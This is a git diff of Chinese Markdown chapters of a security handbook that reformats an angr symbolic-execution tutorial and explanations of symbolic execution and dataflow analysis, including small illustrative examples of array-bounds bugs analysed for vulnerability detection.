-```shell + +```text $ git clone https://github.com/angr/claripy $ cd claripy $ sudo pip install -r requirements.txt $ sudo python setup.py build $ sudo python setup.py install ``` + 安装过程中可能会有一些奇怪的错误,可以到官方文档中查看。 另外 angr 还有一个 GUI 可以用,查看 [angr Management](https://github.com/angr/angr-management)。 - ## 使用方法 -#### 快速入门 + +### 快速入门 + 使用 angr 的第一步是新建一个工程,几乎所有的操作都是围绕这个工程展开的: + ```python >>> import angr >>> proj = angr.Project('/bin/true') WARNING | 2017-12-08 10:46:58,836 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. ``` + 这样就得到了二进制文件的各种信息,如: + ```python >>> proj.filename # 文件名 '/bin/true' @@ -70,15 +80,18 @@ WARNING | 2017-12-08 10:46:58,836 | cle.loader | The main binary is a position-i ``` 程序加载时会将二进制文件和共享库映射到虚拟地址中,CLE 模块就是用来处理这些东西的。 + ```python >>> proj.loader ``` + 所有对象文件如下,其中二进制文件本身是 main_object,然后还可以查看对象文件的相关信息: -``` + +```text >>> for obj in proj.loader.all_objects: ... print obj -... +... @@ -94,8 +107,10 @@ WARNING | 2017-12-08 10:46:58,836 | cle.loader | The main binary is a position-i >>> proj.loader.main_object.execstack False ``` + 通常我们在创建工程时选择关闭 `auto_load_libs` 以避免 angr 加载共享库: -``` + +```text >>> p = angr.Project('/bin/true', auto_load_libs=False) WARNING | 2017-12-08 11:09:28,629 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. >>> p.loader.all_objects @@ -105,6 +120,7 @@ WARNING | 2017-12-08 11:09:28,629 | cle.loader | The main binary is a position-i `project.factory` 提供了很多类对二进制文件进行分析,它提供了几个方便的构造函数。 `project.factory.block()` 用于从给定地址解析一个 basic block,对象类型为 Block: + ```python >>> block = proj.factory.block(proj.entry) # 从程序头开始解析一个 basic block >>> block @@ -126,7 +142,9 @@ WARNING | 2017-12-08 11:09:28,629 | cle.loader | The main binary is a position-i >>> block.instruction_addrs # 指令地址 [4199280L, 4199282L, 4199285L, 4199286L, 4199289L, 4199293L, 4199294L, 4199295L, 4199302L, 4199309L, 4199316L] ``` + 另外,还可以将 Block 对象转换成其他形式: + ```python >>> block.capstone @@ -138,12 +156,15 @@ IRSB <0x2a bytes, 11 ins., > at 0x401370 ``` 程序的执行需要初始化一个模拟程序状态的 `SimState` 对象: + ```python >>> state = proj.factory.entry_state() >>> state ``` + 该对象包含了程序的内存、寄存器、文件系统数据等等模拟运行时动态变化的数据,例如: + ```python >>> state.regs # 寄存器名对象 @@ -158,9 +179,11 @@ IRSB <0x2a bytes, 11 ins., > at 0x401370 >>> state.mem[proj.entry].int.resolved # 将入口点的内存解释为 C 语言的 int 类型 ``` + 这里的 BV,即 bitvectors,可以理解为一个比特串,用于在 angr 里表示 CPU 数据。看到在这里 rdi 有点特殊,它没有具体的数值,而是在符号执行中所使用的符号变量,我们会在稍后再做讲解。 下面是 Python int 和 bitvectors 之间的转换: + ```python >>> bv = state.solver.BVV(0x1234, 32) # 创建值 0x1234 的 BV32 对象 >>> bv @@ -173,7 +196,9 @@ IRSB <0x2a bytes, 11 ins., > at 0x401370 >>> hex(state.solver.eval(bv)) '0x1234L' ``` + 于是 bitvectors 可以进行数学运算: + ```python >>> one = state.solver.BVV(1, 64) >>> one_hundred = state.solver.BVV(100, 64) @@ -192,7 +217,9 @@ IRSB <0x2a bytes, 11 ins., > at 0x401370 >>> one + five.sign_extend(64 - 27) # 或者有符号扩展 ``` + 使用 bitvectors 可以直接来设置寄存器和内存的值,当传入的是 Python int 时,angr 会自动将其转换成 bitvectors: + ```python >>> state.regs.rsi = state.solver.BVV(3, 64) >>> state.regs.rsi @@ -205,6 +232,7 @@ IRSB <0x2a bytes, 11 ins., > at 0x401370 ``` 初始化的 state 可以经过模拟执行得到一系列的 states,模拟管理器(Simulation Managers)的作用就是对这些 states 进行管理: + ```python >>> simgr = proj.factory.simulation_manager(state) >>> simgr @@ -222,6 +250,7 @@ IRSB <0x2a bytes, 11 ins., > at 0x401370 ``` angr 提供了大量函数用于程序分析,在这些函数在 `Project.analyses.`,例如: + ```python >>> cfg = p.analyses.CFGFast() # 得到 control-flow graph >>> cfg @@ -236,7 +265,9 @@ angr 提供了大量函数用于程序分析,在这些函数在 `Project.analy >>> len(list(cfg.graph.successors(entry_node))) 2 ``` + 如果要想画出图来,还需要安装 matplotlib。 + ```python >>> import networkx as nx >>> import matplotlib @@ -246,10 +277,12 @@ angr 提供了大量函数用于程序分析,在这些函数在 `Project.analy >>> plt.savefig('temp.png') # 保存 ``` -#### 二进制文件加载器 +### 二进制文件加载器 + 我们知道 angr 是高度模块化的,接下来我们就分别来看看这些组成模块,其中用于二进制加载模块称为 CLE。主类为 `cle.loader.Loader`,它导入所有的对象文件并导出一个进程内存的抽象。类 `cle.backends` 是加载器的后端,根据二进制文件类型区分为 `cle.backends.elf`、`cle.backends.pe`、`cle.backends.macho` 等。 首先我们来看加载器的一些常用参数: + - `auto_load_libs`:是否自动加载主对象文件所依赖的共享库 - `except_missing_libs`:当有共享库没有找到时抛出异常 - `force_load_libs`:强制加载列表指定的共享库,不论其是否被依赖 @@ -257,21 +290,24 @@ angr 提供了大量函数用于程序分析,在这些函数在 `Project.analy - `custom_ld_path`:可以到列表指定的路径查找共享库 如果希望对某个对象文件单独指定加载参数,可以使用 `main_ops` 和 `lib_opts` 以字典的形式指定参数。一些通用的参数如下: + - `backend`:使用的加载器后端,如:"elf", "pe", "mach-o", "ida", "blob" 等 - `custom_arch`:使用的 archinfo.Arch 对象 - `custom_base_addr`:指定对象文件的基址 - `custom_entry_point`:指定对象文件的入口点 举个例子: + ```python angr.Project(main_opts={'backend': 'ida', 'custom_arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}}) ``` 加载对象文件和细分类型如下: -``` + +```text >>> for obj in proj.loader.all_objects: ... print obj -... +... @@ -279,6 +315,7 @@ angr.Project(main_opts={'backend': 'ida', 'custom_arch': 'i386'}, lib_opts={'lib ``` + - `proj.loader.main_object`:主对象文件 - `proj.loader.shared_objects`:共享对象文件 - `proj.loader.extern_object`:外部对象文件 @@ -286,6 +323,7 @@ angr.Project(main_opts={'backend': 'ida', 'custom_arch': 'i386'}, lib_opts={'lib - `proj.loader.kernel_object`:内核对象文件 通过对这些对象文件进行操作,可以解析出相关信息: + ```python >>> obj = proj.loader.main_object >>> obj @@ -296,19 +334,21 @@ angr.Project(main_opts={'backend': 'ida', 'custom_arch': 'i386'}, lib_opts={'lib ('0x400000', '0x60721f') >>> for seg in obj.segments: # segments ... print seg -... +... >>> for sec in obj.sections: # sections ... print sec -... +... <.interp | offset 0x238, vaddr 0x400238, size 0x1c> <.note.ABI-tag | offset 0x254, vaddr 0x400254, size 0x20> <.note.gnu.build-id | offset 0x274, vaddr 0x400274, size 0x24> ...etc ``` + 根据地址查找我们需要的东西: + ```python >>> proj.loader.find_object_containing(0x400000) # 包含指定地址的 object @@ -351,10 +391,11 @@ True ``` 通过 `obj.relocs` 可以查看所有的重定位符号信息,或者通过 `obj.imports` 可以得到一个符号信息的字典: + ```python >>> for imp in obj.imports: ... print imp, obj.imports[imp] -... +... strncmp lseek malloc @@ -366,6 +407,7 @@ malloc >> stub_func = angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'] # 获得一个类 >>> stub_func @@ -384,20 +426,24 @@ True >>> proj.is_hooked(17316528) True ``` + 当然也可以利用装饰器编写自己的 hook 函数: + ```python >>> @proj.hook(0x20000, length=5) # length 参数可选,表示程序执行完 hook 后跳过几个字节 ... def my_hook(state): ... state.regs.rax = 1 -... +... >>> proj.is_hooked(0x20000) True ``` -#### 求解器引擎 +### 求解器引擎 + angr 是一个符号执行工具,它通过符号表达式来模拟程序的执行,将程序的输出表示成包含这些符号的逻辑或数学表达式,然后利用约束求解器进行求解。 从前面的内容中我们已经知道 bitvectors 是一个比特串,并且看到了 bitvectors 做的一些具体的数学运算。其实 bitvectors 不仅可以表示具体的数值,还可以表示虚拟的数值,即符号变量。 + ```python >>> x = state.solver.BVS("x", 64) >>> x @@ -406,7 +452,9 @@ angr 是一个符号执行工具,它通过符号表达式来模拟程序的执 >>> y ``` + 而符号变量之间的运算同样不会时具体的数值,而是一个 AST,所以我们接下来同样使用 bitvector 来指代 AST: + ```python >>> x + 0x10 @@ -415,7 +463,9 @@ angr 是一个符号执行工具,它通过符号表达式来模拟程序的执 >>> x - y ``` + 每个 AST 都有一个 `.op` 和一个 `.args` 属性: + ```python >>> tree = (x + 1) / (y + 2) >>> tree @@ -435,6 +485,7 @@ angr 是一个符号执行工具,它通过符号表达式来模拟程序的执 ``` 知道了符号变量的表示,接下来看符号约束: + ```python >>> x == 1 # AST 比较会得到一个符号化的布尔值 @@ -446,7 +497,9 @@ angr 是一个符号执行工具,它通过符号表达式来模拟程序的执 >>> state.solver.BVV(-1, 64) > 0 # 无符号数 0xffffffffffffffff ``` + 正因为布尔值是符号化的,所以在需要做 if 或者 while 判断的时候,不要直接使用比较作为条件,而应该使用 `.is_true` 和 `.is_false` 来进行判断: + ```python >>> yes = state.solver.BVV(1, 64) > 0 >>> yes @@ -466,6 +519,7 @@ False ``` 为了进行符号求解,首先要将符号化布尔值作为符号变量有效值的断言加入到 state 中,作为限制条件,当然如果添加了无法满足的限制条件,将无法求解: + ```python >>> state.solver.add(x > y) # 添加限制条件 [ y_1_64>] @@ -501,6 +555,7 @@ False ``` angr 使用 z3 作为约束求解器,而 z3 支持 IEEE754 浮点数的理论,所以我们也可以使用浮点数。使用 `FPV` 和 `FPS` 即可创建浮点数值和浮点符号: + ```python >>> state = proj.factory.entry_state() # 刷新状态 >>> a = state.solver.FPV(3.2, state.solver.fp.FSORT_DOUBLE) # 浮点数值 @@ -528,7 +583,9 @@ angr 使用 z3 作为约束求解器,而 z3 支持 IEEE754 浮点数的理论 >>> state.solver.eval(b) -2.4999999999999996 ``` + bitvectors 和浮点数的转换使用 `raw_to_bv` 和 `raw_to_fp`: + ```python >>> a.raw_to_bv() @@ -540,7 +597,9 @@ bitvectors 和浮点数的转换使用 `raw_to_bv` 和 `raw_to_fp`: >>> state.solver.BVS('x', 64).raw_to_fp() ``` + 或者如果我们需要指定宽度的 bitvectors,可以使用 `val_to_bv` 和 `val_to_fp`: + ```python >>> a @@ -550,22 +609,26 @@ bitvectors 和浮点数的转换使用 `raw_to_bv` 和 `raw_to_fp`: ``` -#### 程序状态 +### 程序状态 + `state.step()` 用于模拟执行的一个 basic block 并返回一个 SimSuccessors 类型的对象,由于符号执行可能产生多个 state,所以该对象的 `.successors` 属性是一个列表,包含了所有可能的 state。 程序状态 state 是一个 SimState 类型的对象,`angr.factory.AngrObjectFactory` 类提供了创建 state 对象的方法: + - `.blank_state()`:返回一个几乎没有初始化的 state 对象,当访问未初始化的数据时,将返回一个没有约束条件的符号值。 - `.entry_state()`:从主对象文件的入口点创建一个 state。 - `.full_init_state()`:与 entry_state() 类似,但执行不是从入口点开始,而是从一个特殊的 SimProcedure 开始,在执行到入口点之前调用必要的初始化函数。 - `.call_state()`:创建一个准备执行给定函数的 state。 下面对这些方法的参数做一些说明: + - 所有方法都可以传入参数 `addr` 来指定开始地址 - 可以通过 `args` 传入参数列表,`env` 传入环境变量。类型可以是字符串,也可以是 bitvectors - 通过传入一个符号 bitvector 作为 `argc`,可以将 `argc` 符号化 - 对于 `.call_state(addr, arg1, arg2, ...)`,`addr` 是希望调用的函数地址,`argN` 是传递给函数的 N 个参数,如果希望分配一个内存空间并传递指针,则需要使用 `angr.PointerWrapper()`;如果需要指定调用约定,可以传递一个 SimCC 对象作为 `cc` 参数 创建的 state 可以很方便地复制和合并: + ```python >>> s = proj.factory.blank_state() >>> s1 = s.copy() # 复制 state @@ -588,6 +651,7 @@ True ``` 我们已经知道使用 `state.mem` 可以很方便的操作内存,但如果你想要对内存进行原始的操作时,可以使用 `state.memory` 的 `.load(addr, size)` 和 `.store(addr, val)`: + ```python >>> s = proj.factory.blank_state() >>> s.memory.store(0x4000, s.solver.BVV(0x0123456789abcdef, 128)) # 默认大端序 @@ -606,9 +670,11 @@ True >>> s.mem[0x4000].uint64_t.resolved # 与 mem 对比 ``` + 可以看到默认情况下 store 和 load 都使用大端序的方式,但可以通过指定参数 `endness` 来使用小端序。 通过 `state.options` 可以对 angr 的行为做特定的优化。我们既可以在创建 state 时将 option 作为参数传递进去,也可以对已经存在的 state 进行修改。例如: + ```python >>> s = proj.factory.blank_state(add_options={angr.options.LAZY_SOLVES}) # 启用 options >>> s = proj.factory.blank_state(remove_options={angr.options.LAZY_SOLVES}) # 禁用 options @@ -618,6 +684,7 @@ True ``` SimState 对象的所有内容(包括`memory`、`registers`、`mem`等)都是以插件的形式存储的,这样做的好处是将代码模块化,如果我们想要在 state 中存储其他的数据,那么直接实现一个插件就可以了。 + - `state.globals`:实现了一个标准的 Python dict 的接口,通过它可以在一个 state 上存储任意的数据。 - `state.history`:存储了一个 state 在执行过程中的路径历史数据,它是一个链表,每个节点表示一个执行,通过像 `history.parent.parent` 这样的方式进行遍历。为了得到 history 中某个具体的值,可以使用迭代器 `history.NAME`,这样的值保存在 `history.recent_NAME`。如果想要快速得到这些值的一个列表,可以查看 `.hardcopy`。 - `history.descriptions`:对 state 每次执行的描述的列表。 @@ -632,10 +699,12 @@ SimState 对象的所有内容(包括`memory`、`registers`、`mem`等)都 - `callstack.stack_ptr`:从当前函数开头开始计算的堆栈指针的值。 - `callstack.ret_addr`:当前函数的返回地址。 -#### 模拟管理器 +### 模拟管理器 + 模拟管理器(Simulation Managers)是 angr 最重要的控制接口,它允许同时对各组状态的符号执行进行控制,同时应用搜索策略来探索程序的状态空间。states 会被整理到 stashes 里,从而进行各种操作。 我们用一个小程序来作例子,它有 3 种可能性,也就是 3 条路径: + ```c #include #include @@ -659,6 +728,7 @@ int main() { ``` 模拟管理器最基本的功能是将一个 stash 里所有的 states 向前推进一个 basic block,利用 `.step()` 来实现,而 `.run()` 方法可以直接执行到程序结束: + ```python >>> proj = angr.Project('a.out', auto_load_libs=False) >>> state = proj.factory.entry_state() @@ -670,7 +740,7 @@ int main() { >>> while len(simgr.active) == 1: # 一直执行到 active stash 中有不止一个 state ... simgr.step() -... +... ... @@ -688,9 +758,11 @@ int main() { >>> simgr.deadended # deadended stash [, , ] ``` + 于是我们得到了 3 个 deadended 状态的 state。这一状态表示一个 state 一直执行到没有后继者了,那么就将它从 active stash 中移除,放到 deadended stash 中。 stash 默认的类型有下面几种,当然你也可以定义自己的 stash: + - `active`:默认情况下存储可以执行的 state。 - `deadended`:当 state 无法继续执行时会被放到这里,包括没有更多的有效指令,没有可满足的后继状态,或者指令指针无效等。 - `pruned`:当启用 `LAZY_SOLVES` 时,除非绝对必要,否则是不会在执行中检查 state 的可满足性的。当某个 state 被发现是不可满足的,则 state 会被回溯上去,以确定最早是哪个 state 不可满足。然后这之后所有的 state 都会被放到 `pruned` stash 中。 @@ -700,15 +772,18 @@ stash 默认的类型有下面几种,当然你也可以定义自己的 stash 另外还有一个叫做 `errored` 的列表,它不是一个 stash。如果 state 在执行过程中发生错误,则该 state 会被包装在一个 ErrorRecord 对象中,该对象包含 state 和引发的错误,然后这个对象被插入到 `errored` 中。 可以使用 `.move()`,将 `filter_func` 筛选出来的 state 从 `from_stash` 移动到 `to_stash`: + ```python >>> simgr.move(from_stash='deadended', to_stash='more_then_50', filter_func=lambda s: '100' in s.posix.dumps(1)) ``` + 每个 stash 都是一个列表,可以用列表的操作来遍历它,同时 angr 也提供了一些高级的方法,例如在 stash 名称前面加上 `one_`,表示该 stash 的第一个 state;在名称前加上 `mp_`,将得到一个 [mulpyplexed](https://github.com/zardus/mulpyplexer) 版本的 stash: + ```python >>> for s in simgr.deadended + simgr.more_then_50: ... print hex(s.addr) -... +... 0x1000068L 0x1000020L 0x1000068L @@ -722,6 +797,7 @@ MP(['-2424202024@', '+0000000060\x00']) ``` 最后再介绍一下模拟管理器所使用的探索技术(exploration techniques)。默认策略是广度优先搜索,但根据目标程序或者需要达到的目的不同,我们可能需要使用不同的探索技术,通过调用 `simgr.use_technique(tech)` 来实现,其中 tech 是一个 ExplorationTechnique 子类的实例。angr 内置的探索技术在 `angr.exploration_techniques` 下: + - `Explorer`:该技术实现了 `.explore()` 功能,允许在探索时查找或避免某些地址。 - `DFS`:深度优先搜索,每次只探索一条路径,其它路径会放到 `deferred` stash 中。直到当前路径探索结束,再从 `deferred` 中取出最长的一条继续探索。 - `LoopLimiter`:限制路径的循环次数,超出限制的路径将被放到 `discard` stash 中。 @@ -733,10 +809,12 @@ MP(['-2424202024@', '+0000000060\x00']) - `Threading`:将线程级并行添加到探索过程中。 - `Spiller`:当处于 active 的 state 过多时,将其中一些转存到磁盘上以保持较低的内存消耗。 -#### VEX IR 翻译器 +### VEX IR 翻译器 + angr 使用了 VEX 作为二进制分析的中间表示。VEX IR 是由 Valgrind 项目开发和使用的中间表示,后来这一部分被分离出去作为 libVEX,libVEX 用于将机器码转换成 VEX IR(更多内容参考章节5.2.3)。在 angr 项目中,开发了模块 [PyVEX](https://github.com/angr/pyvex) 作为 libVEX 的 Python 包装。当然也对 libVEX 做了一些修改,使其更加适用于程序分析。 一些用法如下: + ```python >>> import pyvex, archinfo >>> bb = pyvex.IRSB('\xc3', 0x400400, archinfo.ArchAMD64()) # 将一个位于 0x400400 的 AMD64 基本块(\xc3,即ret)转成 VEX @@ -785,20 +863,21 @@ t1 到这里 angr 的核心概念就介绍得差不多了,更多更详细的内容还是推荐查看官方教程和 API 文档。另外在我的博客里有 angr 源码分析的笔记。 - ## 扩展工具 + 由于 angr 强大的静态分析和符号执行能力,我们可以在 angr 之上开发其他的一些工: + - [angrop](https://github.com/salls/angrop):rop 链自动化生成器 - [Patcherex](https://github.com/shellphish/patcherex):二进制文件自动化 patch 引擎 - [Driller](https://github.com/shellphish/driller):用符号执行增强 AFL 的下一代 fuzzer - [Rex](https://github.com/shellphish/rex):自动化漏洞利用引擎 - ## CTF 实例 + 查看章节 6.2.3、6.2.8。 - ## 参考资料 + - [angr.io](http://angr.io/) - [docs.angr.io](https://docs.angr.io/) - [angr API documentation](http://angr.io/api-doc/) diff --git a/doc/5.3.2_triton.md b/doc/5.3.2_triton.md index 1dd67a1..dc8411c 100644 --- a/doc/5.3.2_triton.md +++ b/doc/5.3.2_triton.md @@ -3,4 +3,5 @@ - [参考资料](#参考资料) ## 参考资料 + - [Triton - A DBA Framework](https://triton.quarkslab.com/) diff --git a/doc/5.3.3_klee.md b/doc/5.3.3_klee.md index 8bd4b2a..96292fd 100644 --- a/doc/5.3.3_klee.md +++ b/doc/5.3.3_klee.md @@ -3,4 +3,5 @@ - [参考资料](#参考资料) ## 参考资料 + - [KLEE LLVM Execution Engine](http://klee.github.io/) diff --git a/doc/5.3.4_s2e.md b/doc/5.3.4_s2e.md index 517003a..ffdc80e 100644 --- a/doc/5.3.4_s2e.md +++ b/doc/5.3.4_s2e.md @@ -3,4 +3,5 @@ - [参考资料](#参考资料) ## 参考资料 + - [S²E: A Platform for In-Vivo Analysis of Software Systems](http://s2e.systems/) diff --git a/doc/5.3_symbolic_execution.md b/doc/5.3_symbolic_execution.md index 90a5567..1689fdd 100644 --- a/doc/5.3_symbolic_execution.md +++ b/doc/5.3_symbolic_execution.md @@ -5,8 +5,8 @@ - [实例分析](#实例分析) - [参考资料](#参考资料) - ## 基本原理 + 符号执行起初应用于基于源代码的安全检测中,它通过符号表达式来模拟程序的执行,将程序的输出表示成包含这些符号的逻辑或数学表达式,从而进行语义分析。 符号执行可分为过程内分析和过程间分析(或全局分析)。过程内分析是指只对单个函数的代码进行分析,过程间分析是指在当前函数入口点要考虑当前函数的调用信息和环境信息等。当符号执行用于代码漏洞静态检测时,更多的是进行程序全局的分析且更侧重代码的安全性相关的检测。将符号执行与约束求解器结合使用来产生测试用例是一个比较热门的研究方向。(关于约束求解我们会在另外的章节中详细讲解) @@ -16,6 +16,7 @@ **动态符号执行**将符号执行和具体执行结合起来,并交替使用静态分析和动态分析,在具体执行的同时堆执行到的指令进行符号化执行。 每一个符号执行的路径都是一个 true 和 false 组成的序列,其中第 i 个 true(或false)表示在该路径的执行中遇到的第 i 个条件语句。一个程序所有的执行路径可以用执行树(Execution Tree)表示。举一个例子: + ```c int twice(int v) { return 2*v; @@ -37,14 +38,16 @@ int main() { return 0; } ``` + 这段代码的执行树如下图所示,图中的三条路径分别可以被输入 {x = 0, y = 1}、{x = 2, y = 1} 和 {x = 30, y = 15} 触发: -![](../pic/5.3_tree.png) +![img](../pic/5.3_tree.png) 符号执行中维护了符号状态 σ 和符号路径约束 PC,其中 σ 表示变量到符号表达式的映射,PC 是符号表示的不含量词的一阶表达式。在符号执行的初始化阶段,σ 被初始化为空映射,而 PC 被初始化为 true,并随着符号执行的过程不断变化。在对程序的某一路径分支进行符号执行的终点,把 PC 输入约束求解器以获得求解。如果程序把生成的具体值作为输入执行,它将会和符号执行运行在同一路径,并且以同一种方式结束。 例如上面的程序中 σ 和 PC 变化过程如下: -``` + +```text 开始: σ = NULL PC = true 第6行: σ = x->x0, y->y0, z->2y0 PC = true 遇到if(e)then{}else{}:σ = x->x0, y->y0 then分支:PC = PC∧σ(e) else分支:PC' = PC∧¬σ(e) @@ -52,14 +55,16 @@ int main() { 于是我们发现,在符号执行中,对于分析过程所遇到的程序中带有条件的控制转移语句,可以利用变量的符号表达式将控制转移语句中的条件转化为对符号取值的约束,通过分析约束是否满足来判断程序的某条路径是否可行。这样的过程也叫作路径的可行性分析,它是符号执行的关键部分,我们常常将符号取值约束的求解问题转化为一阶逻辑的可满足性问题,从而使用可满足性模理论(SMT)求解器对约束进行求解。 -#### 检测程序漏洞 +### 检测程序漏洞 + 程序中变量的取值可以被表示为符号值和常量组成的计算表达式,而一些程序漏洞可以表现为某些相关变量的取值不满足相应的约束,这时通过判断表示变量取值的表达式是否可以满足相应的约束,就可以判断程序是否存在相应的漏洞。 使用符号执行检测程序漏洞的原理如下图所示: -![](../pic/5.3_overview.png) +![img](../pic/5.3_overview.png) 举个数组越界的例子: + ```c int a[10]; scanf("%d", &i); @@ -69,21 +74,25 @@ if (i > 0) { a[i] = 1; } ``` + 首先,将表示程序输入的变量 i 用符号 x 表示其取值,通过分别对 if 条件语句的两条分支进行分析,可以发现在赋值语句 a[i] = 1 处,当 x 的取值大于 0、小于 10 时,变量 i 的取值为 x,当 x 的取值大于 10 时,变量 i 的取值为 x % 10。通过分析约束 `(x>10∨x<10)∧(010∨x%10<10)∧x>10` 的可满足性,可以发现漏洞的约束是不可满足的,于是认为漏洞不存在。 -#### 构造测试用例 +### 构造测试用例 + 在符号执行的分析过程中,可以不断地获得程序可能执行路径上对程序输入的约束,在分析停止时,利用获得的对程序输入的一系列限制条件,构造满足限制条件的程序输入作为测试用例。 在模拟程序执行并收集路径条件的过程中,如果同时收集可引起程序异常的符号取值的限制条件,并将异常条件和路径条件一起考虑,精心构造满足条件的测试用例作为程序的输入,那么在使用这样的输入的情况下,程序很可能在运行时出现异常。 - ## 方法实现 + 使用符号执行技术进行漏洞分析,首先对程序代码进行基本的解析,获得程序代码的中间表示。由于符号执行过程常常是路径敏感的分析过程,在代码解析之后,常常需要构建描述程序路径的控制流图和调用图等。漏洞分析分析的过程主要包括符号执行和约束求解两个部分,并交替执行。通过使用符号执行,将变量的取值表示为符号和常量的计算表达式,将路径条件和程序存在漏洞的条件表示为符号取值的约束。约束求解过程一方面判断路径条件是否可满足,根据判断结果对分析的路径进行取舍,另一方面检查程序存在漏洞的条件是否可以满足。符号执行的过程常常需要利用一定的漏洞分析规则,这些规则描述了在什么情况下需要引入符号,以及在什么情况下程序可能存在漏洞等信息。 -#### 正向的符号执行 +### 正向的符号执行 + 正向的符号执行用于全面地对程序代码进行分析,可分为过程内分析和过程间分析。 **过程内分析**逐句地地过程内的程序语句进行分析: + - 声明语句分析 - 通过声明语句,变量被分配到一定大小的存储空间,在检测缓冲区溢出漏洞时,需要记录这些存储空间的大小。 - 分析声明语句的另一个目的是发现程序中的全局变量,记录全局变量的作用范围,这将有助于过程间分析。 @@ -101,10 +110,12 @@ if (i > 0) { **过程间分析**常常需要考虑按照怎样的顺序分析程序语句,如深度优先遍历和广度优先遍历。另外在进行分析时,需要先确定一个分析的起始点,可以是程序入口点、程序中某个过程的起始点或者某个特定的程序点。 -#### 逆向的符号执行 +### 逆向的符号执行 + 逆向的符号执行用于对可能存在漏洞的部分代码进行有针对性的分析。通过分析这些程序语句,可以得到变量取值满足怎样的约束表示程序存在漏洞,将这样的约束记录下来,在之后的分析中,通过逆向分析判断程序存在漏洞的约束是否是可以满足的。通过不断地记录并分析路径条件,检查程序是否可能存在带有程序漏洞的路径。 例如下面的代码片段: + ```c if (j > -6) { a = i; @@ -116,23 +127,27 @@ if (j > -6) { } } ``` + 我们可以从语句 `a[i]=1` 开始,逆推上去,判断 `i<0∨i>len(a)` 是否可以满足,直到碰到语句 `if(i<15)` 时,存在漏洞的约束被更新为 `i<15∨flag==0∨i<0∨i>len(a)`,如果 `len(a)≥15`,则通过对约束进行求解可知当前约束是不满足的,这时停止对该路径的分析。否则如果 `len(a)<15`,则不能判断程序是否存在漏洞,分析将继续。 如果在碰到赋值语句且赋值变量和路径条件相关时,可以根据赋值语句所示的变量取值之间的关系更新当前路径条件。例如上面的 `i=j+6`,可以将其带入到路径条件中,得到 `j+6<15∨flag==0∨j+6<0∨j+6>len(a)`。而无关的赋值,如 `a=i`,则可以忽略它。然而变量之间的别名关系常常会对分析产生影响,所以可以在逆向分析之前,对程序进行别名分析或者指向分析。 逆向符号执行的过程间分析: + - 当过程内分析中遇到不能根据语义进行处理的过程,这些过程是程序实现的,并且影响所关心的存在漏洞的约束时 - 通常选择直接对调用的过程进行过程内分析。 - 当过程内分析已经到达过程的入口点,且仍然无法判断存在漏洞的约束是否一定不可满足时 - 可以根据调用图或其他调用关系找到调用该过程的过程,然后从调用点开始继续逆向分析。 - ## 实例分析 + 我们来看一段缓冲区溢出漏洞的例子,分析规则和漏洞代码如下: -``` + +```text array[x]; len(array) = x array[y]; 0 < i < len(array) ``` + ```c #define ISDN_MAX_DRIVERS 32 #define ISDN_CHANNELS 64 @@ -156,14 +171,17 @@ static struct isdn slot *get_slot_by_minor(int minor) { } } ``` + 漏洞很明显,在语句 `drv = drivers[di]` 中,`di` 可能会超出数组上界。 代码片段的过程调用关系如下: -``` + +```text --> get_slot_by_minor() --> get_drv_by_nr() --> spin_lock_irqsave() ``` 我们首先用正向的分析方法,过程如下: + - 将函数 `get_drv_by_nr()` 的参数 `di` 作为符号处理,用符号 `a` 表示其值。 - 接下来声明了两个变量,但未对其赋值,所以不进行处理。 - 语句 `if(di<0)` 对变量 `di` 加以限制,这里记录 `a<0` 时,函数返回空。然后遍历语句的 false 分支。 @@ -174,11 +192,12 @@ static struct isdn slot *get_slot_by_minor(int minor) { - 接下来通过分析 `get_drv_by_nr()` 的摘要,`di≥32` 时存在漏洞,于是得到约束 `0≤di<64∧di≥32`,求解约束得 `di` 为 32 时满足约束条件,程序存在漏洞。 接下来采用逆向的分析方法,过程如下: + - 从 `drv = drivers[di]` 开始,根据规则得到约束 `0≤di<32`。而 `di≥32∨di<0` 程序存在漏洞。 - 上一条语句与 `di` 无关,跳过。 - 补充路径条件 `di≥0`,此时约束为 `(di≥32∨di<0)∧di≥0`,即 `di≥32` 时存在漏洞。 - 继续向上,直到函数入口点,此时分析调用它的函数 `get_slot_by_minor()`,得到约束 `0≤di<64`,求解约束 `0≤di<64∧di≥32`,发现可满足,认为程序存在漏洞。 - ## 参考资料 + - [History of symbolic execution](https://github.com/enzet/symbolic-execution) diff --git a/doc/5.4.1_soot.md b/doc/5.4.1_soot.md index d63c0aa..fd88e61 100644 --- a/doc/5.4.1_soot.md +++ b/doc/5.4.1_soot.md @@ -2,9 +2,9 @@ - [参考资料](#参考资料) - ## 参考资料 -- https://github.com/Sable/soot/ + +- - [A Survivor's Guide to Java Program Analysis with Soot](http://www.brics.dk/SootGuide/) - [Analyzing Java Programs with Soot](http://www.iro.umontreal.ca/~dufour/cours/ift6315/docs/soot-tutorial.pdf) - [The Soot framework for Java program analysis: a retrospective](http://sable.github.io/soot/resources/lblh11soot.pdf) diff --git a/doc/5.4_dataflow_analysis.md b/doc/5.4_dataflow_analysis.md index 2516c98..2408739 100644 --- a/doc/5.4_dataflow_analysis.md +++ b/doc/5.4_dataflow_analysis.md @@ -4,56 +4,67 @@ - [方法实现](#方法实现) - [实例分析](#实例分析) - ## 基本原理 + 数据流分析是一种用来获取相关数据沿着程序执行路径流动的信息分析技术。分析对象是程序执行路径上的数据流动或可能的取值。 -#### 数据流分析的分类 +### 数据流分析的分类 + 根据对程序路径的分析精度分类: + - 流不敏感分析(flow insensitive):不考虑语句的先后顺序,按照程序语句的物理位置从上往下顺序分析每一语句,忽略程序中存在的分支 - 流敏感分析(flow sensitive):考虑程序语句可能的执行顺序,通常需要利用程序的控制流图(CFG) - 路径敏感分析(path sensitive):不仅考虑语句的先后顺序,还对程序执行路径条件加以判断,以确定分析使用的语句序列是否对应着一条可实际运行的程序执行路径 根据分析程序路径的深度分类: + - 过程内分析(intraprocedure analysis):只针对程序中函数内的代码 - 过程间分析(inter-procedure analysis):考虑函数之间的数据流,即需要跟踪分析目标数据在函数之间的传递过程 - 上下文不敏感分析(context-insensitive):将每个调用或返回看做一个 “goto” 操作,忽略调用位置和函数参数取值等函数调用的相关信息 - 上下文敏感分析(context-sensitive):对不同调用位置调用的同一函数加以区分 -#### 检测程序漏洞 +### 检测程序漏洞 + 